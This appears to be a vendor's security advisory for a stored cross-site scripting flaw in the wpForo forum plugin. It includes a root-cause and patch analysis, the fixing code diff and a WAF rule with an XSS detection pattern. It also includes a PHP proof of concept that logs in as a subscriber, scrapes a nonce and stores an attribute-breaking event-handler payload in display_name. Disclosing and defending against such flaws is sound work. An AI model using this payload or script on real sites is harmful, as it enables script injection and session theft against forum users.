Published : November 25, 2026

CVE-2026-102001: wpForo Forum <= 3.2.4 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'display_name' Reflected in [quote] Rendering PoC, Patch Analysis & Rule

Plugin wpforo
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.2.4
Patched Version 3.2.5
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-102001: This vulnerability is a stored cross-site scripting (XSS) flaw in the wpForo Forum plugin for WordPress, affecting versions up to and including 3.2.4. The issue resides in the plugin’s quote rendering functionality, where the display_name field from a user’s profile is reflected without proper escaping in the data-mention attribute. An authenticated attacker with subscriber-level access or higher can inject arbitrary JavaScript that executes when any user views a page containing a quote referencing the attacker’s display name. The vulnerability has a CVSS score of 6.4 and is classified as CWE-79. Exploitation requires that the site administrator has disabled the profiles.mention_nicknames setting (which is off by default), causing the apply_quotes() method to use the unsanitized display_name instead of a sanitized nickname when constructing the data-mention attribute.

Root Cause: The root cause lies in the Template::apply_quotes() method within wpforo/classes/Template.php (around lines 3061-3068). When rendering a [quote] BBCode with a data-userid attribute, the plugin retrieves the user’s display_name and inserts it directly into the data-mention attribute of the generated blockquote element without escaping. The relevant sprintf format string uses %3$s for the mention value, and the variable $mention is populated from the user’s display_name when the profiles.mention_nicknames setting is disabled. The patch adds esc_attr( $mention ) to properly escape the attribute value. Additionally, the posted_by variable (which also derives from display_name) is now escaped with esc_html(). The root cause is insufficient output escaping in the quote rendering path, compounded by insufficient input sanitization of the display_name field in the Members::update() method (wpforo/classes/Members.php around lines 974-977). The patch adds sanitize_text_field() to the display_name when updating a user’s profile, but the primary fix is the output escaping in the template.

Exploitation: An attacker with subscriber-level access can exploit this by setting their display_name to a malicious payload containing JavaScript, such as a string that breaks out of the data-mention attribute and injects an event handler or script tag. The attacker would typically use the WordPress core profile form (wp-admin/profile.php) or a custom endpoint that allows updating the display_name. After setting the payload, the attacker creates a forum post or thread containing a [quote] BBCode that references their own user ID, for example: [quote data-userid=”123″]Some text[/quote]. When any user views the post, the apply_quotes() function processes the quote and inserts the unescaped display_name into the data-mention attribute, causing the injected script to execute in the victim’s browser. The attack requires the victim to view the page containing the quote, which could be a public forum thread. The profiles.mention_nicknames setting must be disabled (which is the default) for the display_name to be used instead of a sanitized nickname.

Patch Analysis: The patch (version 3.2.5) addresses the vulnerability through multiple changes. In wpforo/classes/Template.php, the apply_quotes() method now wraps the $mention variable with esc_attr() before inserting it into the data-mention attribute, and the $posted_by variable is escaped with esc_html(). This prevents any HTML or JavaScript from being interpreted in the attribute. Additionally, the patch adds sanitization of the display_name in the Members::update() method: if a display_name is provided, it is passed through sanitize_text_field() (and only updates if the result is non-empty). Similar sanitization is applied to user_nicename, first_name, last_name, and user_url. The patch also adds esc_html() escaping to various admin list table outputs in wpforo/admin/listtables/Members.php, and to attachment filenames in wpforo/includes/hooks.php. These changes collectively fix the XSS by ensuring that user-supplied data is properly sanitized on input and escaped on output, with the primary fix being the output escaping in the quote rendering.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user’s browser when they view a page containing a malicious quote. This can lead to session hijacking, theft of cookies or authentication tokens, defacement of the forum, redirection to malicious sites, or other client-side attacks. Because the payload is stored in the user’s display_name and triggered whenever a quote is rendered, the attack can affect a large number of users, including administrators. The CVSS score of 6.4 reflects the need for user interaction (viewing the page) and the requirement of authenticated access, but the potential for privilege escalation (e.g., creating a new admin account) makes it a significant threat.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforo/admin/listtables/Members.php
+++ b/wpforo/admin/listtables/Members.php
@@ -58,7 +58,7 @@

                 return ! empty( $usergroup['name'] ) ? esc_html( $usergroup['name'] ) : __( 'default', 'wpforo' );
             case 'secondary_groupids':
-                return implode( ', ', WPF()->usergroup->get_secondary_group_names( $item[ $column_name ] ) );
+                return esc_html( implode( ', ', WPF()->usergroup->get_secondary_group_names( $item[ $column_name ] ) ) );
             case 'blog_posts':
                 return WPF()->member->blog_posts( $item['userid'] );
             case 'blog_comments':
@@ -66,7 +66,7 @@
             case 'online_time':
                 return ( $item['online_time'] ) ? wpforo_date_raw( $item['online_time'], 'datetime', false ) : '-';
             default:
-                return $item[ $column_name ];
+                return esc_html( (string) $item[ $column_name ] );
         }
     }

@@ -146,7 +146,7 @@
         //Return the title contents
         return sprintf(
                          '%1$s %2$s',
-                /*$1%s*/ $item['userid'],
+                /*$1%s*/ (int) $item['userid'],
                 /*$2%s*/ $this->row_actions( $actions )
         );
     }
--- a/wpforo/classes/Forms.php
+++ b/wpforo/classes/Forms.php
@@ -1282,6 +1282,11 @@
 				$value = sanitize_text_field( $value );
 			} elseif( $type === 'textarea' ) {
 				$value = stripslashes( wpforo_kses( trim( (string) $value ), 'user_description' ) );
+			} elseif( $type === 'tinymce' ) {
+				// Rich-text fields (about, signature) keep post-level markup, but event
+				// handlers and scripts must not reach storage: these values are also read
+				// outside wpForo, e.g. by the core post-author-biography block.
+				$value = wpforo_kses( trim( (string) $value ), 'post' );
 			} elseif( $type === 'email' ) {
 				$value = sanitize_email( $value );
 			} elseif( $type === 'password' ) {
--- a/wpforo/classes/Members.php
+++ b/wpforo/classes/Members.php
@@ -653,6 +653,11 @@
                     'user_pass2',
                     'userid',
                     'ID',
+                    'display_name',
+                    'user_nicename',
+                    'user_url',
+                    'first_name',
+                    'last_name',
                 ] as $reserved ) {
                     unset( $data['data'][ $reserved ] );
                 }
@@ -969,31 +974,29 @@
         if( $check_permissions ) WPF()->perm->can_edit_user( $userid );

         //User Fields
-        if( wpfkey( $data, 'display_name' ) ) {
-            $user_fields['display_name'] = $data['display_name'];
+        if( wpfkey( $data, 'display_name' ) && ( $display_name = sanitize_text_field( (string) $data['display_name'] ) ) !== '' ) {
+            $user_fields['display_name'] = $display_name;
             $user_fields_types[]         = '%s';
         }
         if( wpfkey( $data, 'user_email' ) ) {
             $user_fields['user_email'] = $data['user_email'];
             $user_fields_types[]       = '%s';
         }
-        if( wpfkey( $data, 'user_nicename' ) ) {
-            if( ! wpfval( $data, 'user_nicename' ) ) {
-                $user_info             = get_userdata( $userid );
-                $data['user_nicename'] = sanitize_title( sanitize_user( $user_info->user_nicename, true ) );
-            }
-            $user_fields['user_nicename'] = $data['user_nicename'];
+        // Keep the current nicename when the new value sanitizes to nothing, so a
+        // non-Latin or markup-only input can't blank the profile URL.
+        if( wpfkey( $data, 'user_nicename' ) && ( $user_nicename = sanitize_title( sanitize_user( (string) $data['user_nicename'], true ) ) ) !== '' ) {
+            $user_fields['user_nicename'] = $user_nicename;
             $user_fields_types[]          = '%s';
-            update_user_meta( $userid, 'nickname', $data['user_nicename'] );
+            update_user_meta( $userid, 'nickname', $user_nicename );
         }
         if( wpfkey( $data, 'first_name' ) ) {
-            update_user_meta( $userid, 'first_name', $data['first_name'] );
+            update_user_meta( $userid, 'first_name', sanitize_text_field( (string) $data['first_name'] ) );
         }
         if( wpfkey( $data, 'last_name' ) ) {
-            update_user_meta( $userid, 'last_name', $data['last_name'] );
+            update_user_meta( $userid, 'last_name', sanitize_text_field( (string) $data['last_name'] ) );
         }
         if( wpfkey( $data, 'user_url' ) ) {
-            $user_fields['user_url'] = $data['user_url'];
+            $user_fields['user_url'] = esc_url_raw( (string) $data['user_url'] );
             $user_fields_types[]     = '%s';
         }

@@ -1074,9 +1077,12 @@
             $profile_fields_types[]      = '%s';
         }
         if( wpfkey( $data, 'about' ) ) {
-            $profile_fields['about'] = $member['about'];
+            // Callers that skip Forms::sanitize() (registration, imports) must not be
+            // able to store scripts here: WordPress renders this meta outside wpForo.
+            $about                   = wpforo_kses( (string) $member['about'], 'post' );
+            $profile_fields['about'] = $about;
             $profile_fields_types[]  = '%s';
-            update_user_meta( $userid, 'description', $member['about'] );
+            update_user_meta( $userid, 'description', $about );
         }
         if( wpfkey( $data, 'occupation' ) ) {
             $profile_fields['occupation'] = $member['occupation'];
--- a/wpforo/classes/Template.php
+++ b/wpforo/classes/Template.php
@@ -3061,12 +3061,13 @@
                     '<blockquote data-userid="%1$d" data-postid="%2$d" data-mention="%3$s"><div class="wpforo-post-quote-head">%4$s %5$s</div>',
                     $userid,
                     $postid,
-                    $mention,
-                    ( $posted_by ? sprintf( '<div class="wpforo-post-quote-author"><strong> %1$s: %2$s </strong></div>', wpforo_phrase( 'Posted by', false ), $posted_by ) : '' ),
+                    // display_name comes from the WP profile and may contain quotes or markup.
+                    esc_attr( $mention ),
+                    ( $posted_by ? sprintf( '<div class="wpforo-post-quote-author"><strong> %1$s: %2$s </strong></div>', wpforo_phrase( 'Posted by', false ), esc_html( $posted_by ) ) : '' ),
                     ( $postid ? sprintf(
                             '<div class="wpforo-post-quote-link"><a href="%1$s" title="%2$s">↑</a></div>',
-                            WPF()->post->get_url( $postid ),
-                            wpforo_phrase( 'go to original post', false )
+                            esc_url( WPF()->post->get_url( $postid ) ),
+                            esc_attr( wpforo_phrase( 'go to original post', false ) )
                     ) : '' )
             );
         },                             (string) $text );
--- a/wpforo/includes/hooks.php
+++ b/wpforo/includes/hooks.php
@@ -2279,6 +2279,11 @@
 				'user_pass2',
 				'userid',
 				'ID',
+				'display_name',
+				'user_nicename',
+				'user_url',
+				'first_name',
+				'last_name',
 			] as $reserved ) {
 				unset( $data['data'][ $reserved ] );
 			}
@@ -2582,7 +2587,7 @@
 					$attach_html .= '<br/><div class="wpfa-item wpfa-file"><a class="attach_cant_view" style="cursor: pointer;"><span style="color: #666;">' . wpforo_phrase(
 							'Attachment',
 							false
-						) . ' : </span> ' . urldecode( basename( $match[2] ) ) . '</a></div>';
+						) . ' : </span> ' . esc_html( urldecode( basename( $match[2] ) ) ) . '</a></div>';
 				}
 			}
 			if( $attach_html ) {
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
 * Description: WordPress Forum plugin. wpForo is the only AI powered forum solution for your community. Modern design and 5 forum layouts.
 * Author: gVectors Team
 * Author URI: https://gvectors.com/
-* Version: 3.2.4
+* Version: 3.2.5
 * Requires at least: 5.2
 * Requires PHP: 7.1
 * Text Domain: wpforo
@@ -14,7 +14,7 @@

 namespace wpforo;

-define( 'WPFORO_VERSION', '3.2.4' );
+define( 'WPFORO_VERSION', '3.2.5' );

 //Exit if accessed directly
 if( ! defined( 'ABSPATH' ) ) exit;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-102001
# This rule blocks exploitation attempts by detecting the XSS payload in the display_name field when submitted via the WordPress profile update form.
# The rule targets the POST request to /wp-admin/profile.php and inspects the display_name parameter for common XSS patterns.
# It uses a regex to match typical XSS payloads (script tags, event handlers, javascript: URIs) while minimizing false positives on legitimate names.

SecRule REQUEST_URI "@streq /wp-admin/profile.php" 
  "id:102001,phase:2,deny,status:403,chain,msg:'CVE-2026-102001 wpForo XSS via display_name',severity:'CRITICAL',tag:'CVE-2026-102001'"
  SecRule ARGS_POST:display_name "@rx (?:<script|onw+s*=|javascript:|alert(|prompt(|confirm()" 
    "t:urlDecode,t:lowercase,t:removeNulls,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-102001 - wpForo Forum <= 3.2.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'display_name' Reflected in [quote] Rendering

// This PoC demonstrates the vulnerability by:
// 1. Logging in as a subscriber-level user.
// 2. Updating the user's display_name to a malicious XSS payload via the WordPress profile form.
// 3. Creating a new forum topic that contains a [quote] BBCode referencing the attacker's user ID.
// 4. The payload executes when any user views the topic.

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber username
$password = 'password'; // Subscriber password
$user_id = 2; // Attacker's user ID (needs to be determined, e.g., from profile page)

// XSS payload: breaks out of the data-mention attribute and injects an alert
$xss_payload = '" onmouseover="alert(1)" style="';

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); // Load cookies for subsequent requests

$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Update display_name via WordPress profile form
$profile_url = $target_url . '/wp-admin/profile.php';
$profile_data = [
    'action' => 'update',
    'user_id' => $user_id,
    'display_name' => $xss_payload,
    // Other required fields (from profile form, may need to be fetched)
    'first_name' => 'Subscriber',
    'last_name' => 'User',
    'nickname' => 'subuser',
    'email' => 'subscriber@example.com',
    'url' => '',
    'description' => '',
    // Nonce field (needs to be extracted from profile page)
    '_wpnonce' => 'REPLACE_WITH_NONCE', // Must be obtained from the profile page
    'submit' => 'Update Profile'
];

// First, GET the profile page to extract the nonce
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, false);
$profile_page = curl_exec($ch);

// Extract nonce (simplified; actual regex may vary)
preg_match('/name="_wpnonce" value="([^"]+)"/', $profile_page, $matches);
if (isset($matches[1])) {
    $profile_data['_wpnonce'] = $matches[1];
} else {
    die('Could not extract nonce from profile page');
}

// Now POST the profile update
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($profile_data));
$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Profile update failed: ' . curl_error($ch));
}

// Step 3: Create a forum topic with a [quote] BBCode referencing the attacker's user ID
// The forum may have a specific endpoint; assume a standard wpForo forum post submission
// This part is highly dependent on the forum structure and may need customization.
// For demonstration, we assume a generic topic creation endpoint.
$topic_url = $target_url . '/wp-admin/admin-ajax.php';
$topic_data = [
    'action' => 'wpforo_add_topic', // Example action; actual action name may differ
    'forumid' => '1', // Forum ID to post in
    'title' => 'Test Quote XSS',
    'body' => '[quote data-userid="' . $user_id . '"]Test quote[/quote]',
    // Nonce and other fields would be required
];

// Note: This step requires knowledge of the specific wpForo AJAX actions and nonces.
// In a real attack, the attacker would navigate the forum UI to create a post.
// The PoC would need to replicate that process, which is complex and site-specific.

// For the purpose of this PoC, we will simply output the payload and note that
// manual steps are required to create the post.
echo "XSS payload set as display_name: " . htmlspecialchars($xss_payload) . "n";
echo "Now, create a forum post with the following BBCode to trigger the XSS:n";
echo "[quote data-userid="$user_id"]Test quote[/quote]n";
echo "When any user views that post, the JavaScript will execute.n";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.